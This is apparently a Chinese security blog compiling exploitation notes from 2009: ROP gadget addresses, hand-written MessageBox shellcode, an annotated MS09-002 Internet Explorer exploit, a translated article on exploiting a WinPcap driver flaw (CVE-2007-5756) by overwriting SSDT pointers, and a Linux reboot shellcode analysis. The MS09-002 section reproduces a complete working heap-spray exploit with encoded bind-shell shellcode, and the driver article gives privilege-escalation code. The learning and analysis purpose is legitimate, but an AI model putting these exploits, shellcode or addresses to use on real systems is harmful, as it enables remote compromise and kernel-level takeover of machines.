• 这是第二篇,其它文章的翻译请关注看雪这里:
    http://bbs.pediy.com/showthread.php?t=101217
    文章下载:

    http://bbs.pediy.com/showthread.php?t=101704

     

  • 标题:【翻译】突破win2003 sp2中基于硬件的DEP
    作者:david kennedy
    译者:riusksk(泉哥: http://riusksk.blogbus.com )
    本文已发表于<<黑客防线>>

    历史

    数据执行保护DEP(Data Exectution Protection)简史:创建DEP的初衷是为了防止不可运行的内存区域运行代码。在写本文之前,我详细阅读了《Uninformed》杂志上skape与Skywing合写的文章《Bypassing Windows Hardware-Enforced DEP》,这是篇不错的文章,值得一看。skape与Skywing均是具备精明头脑的人,是公认的“汇编超人”。

    …………

    下载地址:
  • pop pop ret 通用地址

    日期:2009-06-16 | 分类:软件漏洞

    0x7c95139e pop esi,pop ebp,retn ntdll.dll

    0x71aa5f62 pop edi,pop esi,retn ws2_32.dll

    下面两个是:2k/XP/2k3

    0x7ffa6773 push ebx,retn \x53\xc3 (0x7ffa6772 是 pop edx)

    0x7ffc01b0 pop esi,retn \x5e\xc3
    感谢Friddy大牛友情提供!

  • 个性shellcode编写

    日期:2009-04-30 | 分类:软件漏洞

    关于API函数地址的获取,可以借助API地址专家搜索,如下图所示:
    api专家
     
    或者写个OD脚本来获取API地址,代码如下,保存为*.osc,如下图所示:
    在OD中运行此脚本后结果如下图:
    你拍攝的 script1。
    上图中的地址为MessageBoxA函数的,点击确定后,出现的即是LoadLibraryA
    函数地址:
    script2
    因为此shellcode仅为个人使用,因此就不动态加载API,关于这方面的内容,可参考此文:
    Download&&Exec ShellCode 逆向分析 :http://riusksk.blogbus.com/logs/34363397.html
    这里就不再叙述了。
    #include<windows.h>
    int main()
    {
     _asm{   
      push ebp  
      mov ebp,esp
      xor eax,eax
      push eax
      mov byte ptr [esp],0x6c//"l"
      mov byte ptr [esp+1],0x6c//"l"
      push 0x642e3233;   // "32.d"
      push 0x72657375  //"user"
      mov eax,esp
      push eax
      //mov ebx,0x7C801D77 xp sp2
      mov ebx,0x7C801D7B  //xp sp3
      call ebx    //LoadLibraryA
      sub esp,80h
       mov dword ptr[ebp-1Eh],0xBECAE1CC // "提示"
       mov byte ptr[ebp-1Ah],0x00
       lea esi,[ebp-1Eh]  
       mov dword ptr[ebp-18h],0xE6B8A8B1 
       mov dword ptr[ebp-14h],0xE7B8AAC8
       mov dword ptr[ebp-10h],0xE7D2BAA3
       mov dword ptr[ebp-0Ch],0xC9B3F6B3
       mov dword ptr[ebp-08h],0xA1A3A6B9     //报告泉哥:溢出成功!
       mov byte ptr[ebp-04h],0x00
    //关于上面的提示文本的十六进制转换可借助WinHex工具:
       lea edi,[ebp-18h] 
       push 1  //窗口格式
       push esi //提示框标题
       push edi //文本内容
       push 0 //句柄
       //mov eax,0x77D5058A  //xp sp2
       mov eax,0x77D507EA  //xp sp3
       call eax  //MessageBoxA
       mov esp,ebp
       pop ebp
    }
     return 0;
    }
     
    用OD提取机器码:
    55 8B EC 53 56 57 55 8B EC 33 C0 50 C6 04 24 6C C6 44 24 01 6C 68 33 32 2E 64 68 75 73 65 72 8B
    C4 50 BB 78 1D 80 7C FF D3 81 EC 80 00 00 00 C7 45 E2 CC E1 CA BE C6 45 E6 00 8D 75 E2 C7 45 E8
    B1 A8 B8 E6 C7 45 EC C8 AA B8 E7 C7 45 F0 A3 BA D2 E7 C7 45 F4 B3 F6 B3 C9 C7 45 F8 B9 A6 A3 A1
    C6 45 FC 00 8D 7D E8 6A 01 56 57 6A 00 B8 EA 07 D5 77 FF D0 8B E5 5D
     
    测试效果:
     
     鸣谢:零魂
  • MS09-002 exploit 源码分析

    日期:2009-04-11 | 分类:软件漏洞

    刚拿到黑防样刊,先看了上面的一篇关于MS09-002漏洞分析的文章《Thingking in MS09-002》,略有感悟,因此记录一下,就当作学习笔记。
     
    // MS09-002 exploit code:
    1.   <script language="JavaScript">
    2.  
    3.   // 绑定 win32系统上的 28876/tcp端口,用于反弹连接的shellcode
    4.   // 你可以根据自己的意愿来选择不同功能的shellcode,如果你比较懒的话,可以直接去Metasploit上
    5.   // 拷贝一份shellcode,在我的博客http://riusksk.blogbus.com有链接
    6.   var shellcode=unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
    7.    //下面的代码主要用于实现 heap spray,即用js分配内存,所分配的内存均放入堆中,
    8.   //然后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,
    9.   //申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,
    10.   //因此只要让IE执行到0x0C0C0C0C就可以执行shellcode,
    11.   //创建一数组对象array,而这些动态申请到的对象/变量都会被分配到堆中
    12.   var ret = 0x0c0c0c0c; CollectGarbage(); //将所有申请到的变量所占的空间释放掉
    13.   var heap_chunk_size = 0x40000;     //每块用来填充的堆块大小
    14.   var nopsled_size = heap_chunk_size - (shellcode.length * 2)
    15.   var nopsled = unescape("%u0c0c%u0c0c");
    16.   while (nopsled.length < nopsled_size)
    17.           nopsled += nopsled;//每一堆块里面除了shellcode就放%u0C0C%u0C0C          
    18.   heap_chunks = new Array();//创建新数组,申请到的空间也是被分配到堆中
    19.   heap_chunks_num = (ret - heap_chunk_size)/heap_chunk_size;//将被覆盖掉的总内存大小
    20.   for (var i = 0 ; i < heap_chunks_num ; i++)
    21.         heap_chunks[i] = nopsled +shellcode;//用很多上面的堆块去覆盖掉一大片的内存地址
    22.   var s1=unescape("%u0c0c%u0c0cAAAAAAAAAAAAAAAAAAAAAAAAA");
    23.   var a1 = new Array();
    24.   for(var x=0;x<500;x++)
    25.   a1.push(document.createElement("img")); //循环创建 img元素
    26.   o1=document.createElement("tbody"); //创建tbody元素
    27.   o1.click; //触发click事件
    28.   var o2 = o1.cloneNode(); //复制 o1对象给o2对象,由于我们并没有为click指定处理函数,因此两对象指向同一虚表地址
    29.   o1.clearAttributes(); //清除o1属性
    30.   o1=null; //将o1置null,此时其所占用的内存并不会释放,当下次再次定义变量时,就会覆盖此变量所在的内存,如果不设为null,JS再次定义变量时,就会开辟出一个新的内存空间
    31.   CollectGarbage(); //释放内存空间
    32.   for(var x=0;x<a1.length;x++)
    33.   a1[x].src=s1; //循环为img.src属性赋予一长串值,覆盖的就是原o1的内存空间,当触发click后,就会去寻找s1中的地址,即0x0c0c0c0c,而此时它已经被我们通过heap spray技术覆盖掉了
    34.   o2.click; //由于我们并没有为click指定处理函数,那么o1与o2对象指向的虚表中存在着click虚函数的地址,当两对象接到click事件后,会通过对象中的虚表指针来定位虚表,并在虚表中寻找处理函数。因此只要将虚表中的click函数地址替换为我们的shellcode的地址,即0x0c0c0c0c,就可以实现我们攻击目的了。
    35.   </script>
  • [翻译]windows驱动漏洞发现与利用

    本文发表于《黑客防线》

    作者:Anibal Sacco
     
    译者:riusksk(泉哥: http://riusksk.blogbus.com

    翻译自国外著名安全杂志《(IN)SECURE Magazine

      设备驱动程序是windows模块的一个基本组成部分,它可以与硬件进行交互,或者执行内核操作。通过用户层接口,用户模式下的进程可以与驱动程序建立一个沟通渠道,从而以预定的方式发送和接收数据。
     
      近来新的驱动程序漏洞不断地被暴出
    ,但这已经不是什么新鲜事了,毕竟驱动中总是会有漏洞的,只是只有少数人去挖掘它而已。而现在很少有程序员致力于驱动程序和ring 0软件的开发了,这是可以理解的,毕竟这是一项有难度的工作。一直以来这方面的官方资料都很不完善,而一些团体组织又常常隐藏他们的研究发现,但是还是有很多未公开的函数被发现,并被文档化,这些都是经一些团体组织逆向分析windows程序后,接着再去寻找一些被泄漏的源代码而得来的。究于这个原因,很长时间里面(甚至直至今日)很多驱动程序开发者都把精力投入到程序的稳定性及可靠性上面,以致有时忽略了一些非常基本的安全检测。windows驱动程序漏洞暴露于一些可在用户模式下正常执行的进程,比如MS Word, MS Messenger,甚至是计算器。这与在ring 0进程下利用漏洞获取执行权限不同,它隐含着最大的可执行权限,通过该漏洞,攻击者就可能控制或破坏整个系统。
     
      本文主要针对
    windows驱动程序建立通讯渠道的方式进行讲述,以为后面对解释如何通过它们具体的设计特点来处理一些常见的驱动程序漏洞作个铺垫。同时,我也将讲述一些利用这类漏洞,从而获得代码执行权限的攻击方式。
     

     
    驱动程序结构
     

     
      驱动程序不像用户模式下的进程,它并没有充分利用它所有的功能来执行。通常情况下,它主要是通过
    DriverEntry()函数来构造的,相当于动态链接库中的DllMain()函数,因为只有当驱动程序被加载时,它才进行内存映射。但当操作系统加载模块时,它仅执行一次。下面简单看一下这个函数,它主要是负责驱动程序的初始化,比如创造符号链接(帮助用户模式下的进程打开句柄),以及"Function Dispatch Table"(在DRIVER_OBJECT结构体中包含的一个指针列表,而DRIVER_OBJECT是用于实现驱动程序的真实功能,用户模式进程通过IOManager来调用这些指针,进而执行在内核中希望执行的代码)的初始化。
     

     
    DRIVER_OBJECT
     

     
    每个驱动程序加载时,就意味着内核数据结构需要调用DRIVER_OBJECT。驱动对象指针是驱动程序中DriverEntry()函数的一个输入参数,当DriverEntry()函数被调用时就会被初始化。
     
    DRIVER_OBJECT结构如下:
     
    typedef struct _DRIVER_OBJECT
              {
              SHORT Type;
              SHORT Size;
              PDEVICE_OBJECT DeviceObject;
              ULONG Flags;
              PVOID DriverStart;
              ULONG DriverSize;
              PVOID DriverSection;
              PDRIVER_EXTENSION DriverExtension;
              UNICODE_STRING DriverName;
              PUNICODE_STRING HardwareDatabase;
              PFAST_IO_DISPATCH FastIoDispatch;
              LONG * DriverInit;
              PVOID DriverStartIo;
              PVOID DriverUnload;
              LONG * MajorFunction[28];
              } DRIVER_OBJECT, *PDRIVER_OBJECT;
     

     
    其中MajorFunction数组指针会被驱动程序初始化,用于指向它自身的函数。这个结构相当重要,因为这些函数将被IO Manager调用,这主要依赖于来自用户模式下的各类IRP请求。例如使用CloseFile()这个API函数关闭驱动程序时,Majorfunction[IRP_MJ_CLOSE]指向的函数指针将会被调用.
     

     
    IRPs
     

     
    来源于MSDN:“Microsoft Windows 家族操作系统通过发送 I/O 请求数据包 (IRP) 与驱动程序通信。封装 IRP 的数据结构不仅描述 I/O 请求,而且在 I/O 请求经过处理它的驱动程序时维护请求的状态信息。因为该数据结构具有两个用途,所以 IRP 可以定义为 :
     
    *  I/O 请求的容器,或者
     
    *  线程独立的调用堆栈。”
     
    现在回顾一下前面的内容:
     
    用户模式的进程是通过请求包来与驱动程序进行通讯的,这些请求包‘告诉’驱动程序应该调用
    MajorFunction数组指针中的哪个函数,必要时可对用于发送和接收数据的缓冲区进行管理。这些请求包被称为IRP Major requests
     

     
    IOCTLs (or IRP_MJ_DEVICE_CONTROL) 请求
     

     
    这是一关键请求,驱动程序常通过
    DeviceIoControl来发送和接收数据。它的原型如下:
     

    BOOL WINAPI DeviceIoControl(
    __in               HANDLE   hDevice,
    __in               DWORD   dwIoControlCode,
    __in_opt         LPVOID    lpInBuffer,
    __in               DWORD   nInBufferSize,
    __out_opt       LPVOID   lpOutBuffer,
    __in               DWORD   nOutBufferSize,
    __out_opt      LPDWORD   lpBytesReturned,
    __inout_opt    LPOVERLAPPED  lpOverlapped
    );

     
    当用户层通过已打开的驱动程序句柄去调用DeviceIoControl函数时,它先将一个指向IRP object的指针作为参数,然后去调用MajorFunction[IRP_MJ_DEVICE_CONTROL]中定义的函数。这个函数将会通过DeviceIoControl这个数据结构来接收重要数据,比如输入缓冲区、输出缓冲区,及其相应的长度。依靠这些已定义的方式,IOManager可以采用各种不同的方式对缓冲区进行处理。
     
     
    来源于
    Microsoft knowledge Base Q115758:
     

    “驱动程序可以使用下列三种不同的I/O方式:"buffered," "direct," 或者 "neither"。当你使用一个内核模式驱动程序去创建一个设备对象时,可以在设备对象中的Flags域指定你想使用的I/O方式。这里可以将DO_BUFFERED_IO DO_DIRECT_IO其中一个值赋予flag域,或者你也可以不选择指定的方式。在这种情况下,我们称驱动程序将flag指定为"neither"方式。通过驱动程序的读写分发例程,这种方式可以影响分配给设备对象的I/O读写请求。”

    这里讲的主要是METHOD_NEITHER方式。当最后XXX bits被打开时,IO_Manager就会使用这种方法。但这也存在一个特殊问题,与其它I/O方式不同的是(IO_Manager使用其它方式来管理缓冲区,这对驱动程序进行内核缓冲区的分配是相对安全的),在这里IO_Manager并未对缓冲区进行任何检测。这仅需要通过DeviceIOControl去调用指向驱动函数的用户层缓冲区指针,就可以绕过任何检测,对内核区域进行非法访问。
     

    漏洞

    先不谈用户模式与内核模式请求方式的选择,我们来看看这些方式中相同之处:

    *  用户进程打开一个句柄去访问驱动程序。

    *  通过DeviceIoControl结构中input buffer存储的数据以及指定的output buffer来发送一个IOCTL请求。

    *   驱动程序接收IOCTL,并根据Inputbuffer中的数据进行一些操作,同时返回数据给Output buffer

    *   用户进程接收数据,并继续运行。

    当驱动程序并未对来自用户层的指针进行充分地检测时(或者一点也未对其进行检测),问题就出现了。如果检测不当,驱动程序将会检索输出缓冲区中的数据,并直接将其写入用户进程指定的内存,同时依据该地址来发送数据,这可能会写入到一个无效内存地址,从而导致蓝屏Blue Screen of Death (BSOD),或者被攻击者利用。下面将会对此进行讲述,通过修改特定的内核模式结构,从而允许未授权的用户进程在ring 0下执行任意代码,这样做的目的就是为了提升权限。
    在各种不同情况下,普遍不一样的是驱动程序在输出缓冲区中返回的地址,但在大多情况下,这个地址并不是都那么重要。有时仅需要一点想像力(有时甚至需要点巫术),就可以将可预测值写入或替换掉内核中的内存数据,从而获得执行代码的权限。
         为了更清楚地解释这个问题,下面举个漏洞实例(
    CVE-2007-5756),是关于Winpacap 4.x的一个驱动程序漏洞(Winpacap是基于windows操作系统下的一个软件包,为网络链路层的实时访问提供方便)。

         看看下面驱动程序例程的主要部分,如前所述,该例程中实现了用于初始化MajorFunctions数组指针的驱动函数。在这里相对我们最为重要的是IRP_MJ_DEVICE_CON-TROL entry的初始化,它提供了NPF_IoControl函数,用于处理来自用户层的IOCTLs

    NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING
    RegistryPath)
               {

               ...

                    // 设置设备驱动程序入口指针.
                    DriverObject->MajorFunction[IRP_MJ_CREATE] = NPF_Open;
                    DriverObject->MajorFunction[IRP_MJ_CLOSE]  = NPF_Close;
                    DriverObject->MajorFunction[IRP_MJ_READ]                  = NPF_Read;
                    DriverObject->MajorFunction[IRP_MJ_WRITE]  = NPF_Write;
                    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  =
    NPF_IoControl;
                    DriverObject->DriverUnload = NPF_Unload;


    漏洞函数代码如下:

    NTSTATUS NPF_IoControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP
     Irp)
               {

               ...

                    IrpSp = IoGetCurrentIrpStackLocation(Irp);                           (1)

     FunctionCode=IrpSp->Parameters.DeviceIoControl.IoControlCode;
                    Open=IrpSp->FileObject->FsContext;

               ...

               ...

                    case BIOCGSTATS: //function to get the capture stats  (2)

                          TRACE_MESSAGE(PACKET_DEBUG_LOUD, "BIOCGSTATS");

                          if(IrpSp->Parameters.DeviceIoControl.OutputBufferLength
    < 4*sizeof(UINT))         (3)
                          {
                               SET_FAILURE_BUFFER_SMALL();
                               break;
                          }

                           pStats = (PUINT)(Irp->UserBuffer);              (4)
                           pStats[3] = 0;   (5)
                           pStats[0] = 0;
                           pStats[1] = 0;
                           pStats[2] = 0;               // Not yet supported

                           for(i = 0 ; i < NCpu ; i++) (6)
                           {

                                 pStats[3] += Open->CpuData[i].Accepted;
                                 pStats[0] += Open->CpuData[i].Received;
                                 pStats[1] += Open->CpuData[i].Dropped;
                                 pStats[2] += 0;              // Not yet supported             (7)
                           }

                           SET_RESULT_SUCCESS(4*sizeof(UINT));

                           break;

    在(1)处,IRP Stack Pointer 通过IoGetCurrentIrpStackLocation进行检索,该结构还包含了用户层的其它参数 。IOCTL参数存储在 FunctionCode变量中,在 switch;case语句中用于选择将进行的操作。在这里,我们感兴趣的数值是(2) BIOCGSTATS

    在(3)处,检测OutputBufferLength参数,以确定是否可将数据写入(四个符号整数),若不行,则跳出switch;case语句。

    在(4)处,获取用户层地址,以作为输出缓冲区。接着,在(5)处我们就可以看到漏洞本身了。该驱动程序将160写入用户模式下指定的地址,但并未对其做任何检测。在正常情况下,该地址是一个用户地址范围内有效的缓冲区指针,但这里可以提供一个无效地址,以触发访问异常,从而在ring 0下执行操作,进而导致蓝屏(BSOD)。

    在(6)处,是一个循环,用于在数组中迭代添加数值。在整个循环中,除了第三个DWORD值,其它值均置0。接下来,离开switch; case语句,继续执行其它操作。

    漏洞利用

    通过上面的讲解,现在大家应该可以利用该漏洞致使整个系统崩溃了。这仅需要发送一个ioctl去指定一个无效的内核空间地址作为输出缓冲区就可以了,比如地址0x80808080。下面让我们更深入地探究一下:

    通过该漏洞,我们可以在一些可写的内核地址中修改16 bytes。在这种情况下,我们无法确切地知道是哪个数值,但不需要进一步分析,我们就可以知道第三个DWORD值总为0。那么现在的问题就是:我们该如何在这一数值中获得代码执行的权限?

    篡改SSDT

    System Service Descriptor Table(SSDT)是内核中的一个数据结构,其中包含了函数指针列表。当一些用户模式下特定的的API函数想要在内核空间执行操作时,这些函数指针就会被系统服务分配器调用。例如,当在用户进程中调用AddAtom()函数时,在DLL中的代码就会负责验证一些参数,然后利用int 2e或者sysenter(依赖于windows版本)切换上下文到ring 0,从而通过分配表中的索引号来引用函数,接着系统服务分配器转向对应的指针重发(有时终止它,或者甚至修改它)用户模式参数。在内核调试器KD中查看一下SSDT,可以发现指针指向的地址在各windows版本中始终保持不变,如下所示:


                          kd> dds poi(KeServiceDescriptorTable)

                          ...

                          8050104c  805e8f86
                   nt!NtAccessCheckByTypeResultListAndAuditAlarmByHandle
                          80501050  8060a5da nt!NtAddAtom
                          80501054  8060b84e nt!NtQueryBootOptions
                          80501058  805e0a08 nt!NtAdjustGroupsToken
                          8050105c  805e0660 nt!NtAdjustPrivilegesToken
                          80501060  805c9684 nt!NtAlertResumeThread
                          80501064  805c9634 nt!NtAlertThread
                          80501068  8060ac00 nt!NtAllocateLocallyUniqueId
                          8050106c  805aa088 nt!NtAllocateUserPhysicalPages
                          80501070  8060a218 nt!NtAllocateUuids
                          80501074  8059c910 nt!NtAllocateVirtualMemory

                          ...

    通过这个漏洞,利用我们可控制的数据去修改SSDT表中的指针,使其指向用户空间中分配的内存区域,从而发动攻击(被广泛使用的攻击方式之一)。在这种情况下,我们已经知道了作为输出缓冲区的地址,驱动程序将会写入:

    *  8 bytes 的未知数据(写入的内容实际上很明显,但我们不需要知道它)

    * 4 bytes 0

    * 4 bytes未知数据。

    由上可知,可预测值只有40,但我们如何通过数值0来篡改指针呢?这里有个小技巧:就是将代码置入在页0中分配的内存里面。这个可以通过1中的基址来调用NtAllocateVirtualMemory,因为这个函数是在低内存页(lower page)中分配数值,它是从0x0开始分配内存的。

           PVOID Addr=(PVOID)0x1;
           NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size, MEM_RESER-
    VE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);


    利用这四个0值,我们就可以篡改需要入口地址。我们只需发送BIOCGSTATS ioctl去触发漏洞,然后通过驱动程序来修改函数地址即可 - 8。之后被选择的函数指针将会被0值替换掉,从而指向我们分配的缓冲区。

    DeviceIoControl(hDevice, 0x9031, lpInBuffer, nInBufferSize, (Address of
     the selected function - 8), nOutBufferSize, &ret, NULL)

    但是这种方法有个小问题,因为我们破坏了四个连续的函数指针,因此我们必须精心地挑选好要被修改的函数。这些函数被调用的次数要少,而且并不是很重要的函数才行。我们可以附加调试器去设置一些断点,然后去查找那些最不经常被调用的函数。

    最后我们只需调用用户模式下对应的函数,但该函数需要使系统服务分配器去调用kernel-patched- pointer才行。通过这种方法,我们就可以获得我们构造的用户层代码的执行权限了。正常情况下,0x0地址中的代码将会以已知的方式去提升指定进程的执行权限,但这已经不属于本文的主题了。

  • Linux x86 reboot shellcode分析

    日期:2009-01-17 | 分类:软件漏洞

    今天在milw0rm(http://www.milw0rm.org/shellcode/7808)上看到一份shellcode,是让linux重启的,于是就简单分析一下,相信只要有点汇编及linux基础的朋友都能够看懂的,呵呵……

    分析如下:

    /*
    * 08048054 <.text>:
    * 8048054:       31 c0                       xor    %eax,%eax     ;%eax=0
    * 8048056:       50                           push   %eax            ;%eax入栈,此时%esp指向此处
    * 8048057:       68 62 6f 6f 74          push   $0x746f6f62     ;"boot"
    * 804805c:       68 6e 2f 72 65          push   $0x65722f6e     ;"re/n"
    * 8048061:       68 2f 73 62 69          push   $0x6962732f     ;"/sbi"
    * 8048066:       89 e3                       mov    %esp,%ebx      ;将%ebx指向栈顶
    * 8048068:       50                           push   %eax      ;%eax再次入栈,%esp=%esp+4
    * 8048069:       89 e2                       mov    %esp,%edx    ;将%edx指向栈顶
    * 804806b:       53                           push   %ebx    ;%ebx入栈,%esp=%esp+4
    * 804806c:       89 e1                       mov    %esp,%ecx    ;将%ecx指向栈顶
    * 804806e:       b0 0b                       mov    $0xb,%al      ;%al=0xb作为功能号
    * 8048070:       cd 80                       int    $0x80      ;int 80H中断调用,即执行execve("/sbin/reboot",[/sbin/reboot],NULL)重启系统,该函数的参数是以下寄存器的顺序分别存储的:ebx,ecx,edx
    *
    */
    堆栈结构图如下:

    这跟windows下的汇编略有不同,win是栈顶在上,栈底在下,而*nix是栈顶在下,栈底在上,而且寄存器前有%,常数前有$,我第一次接触汇编是在《深入理解计算机系统》一书,上面的汇编就是如此,致使第一次接触win下的汇编时,经常弄错那些指令。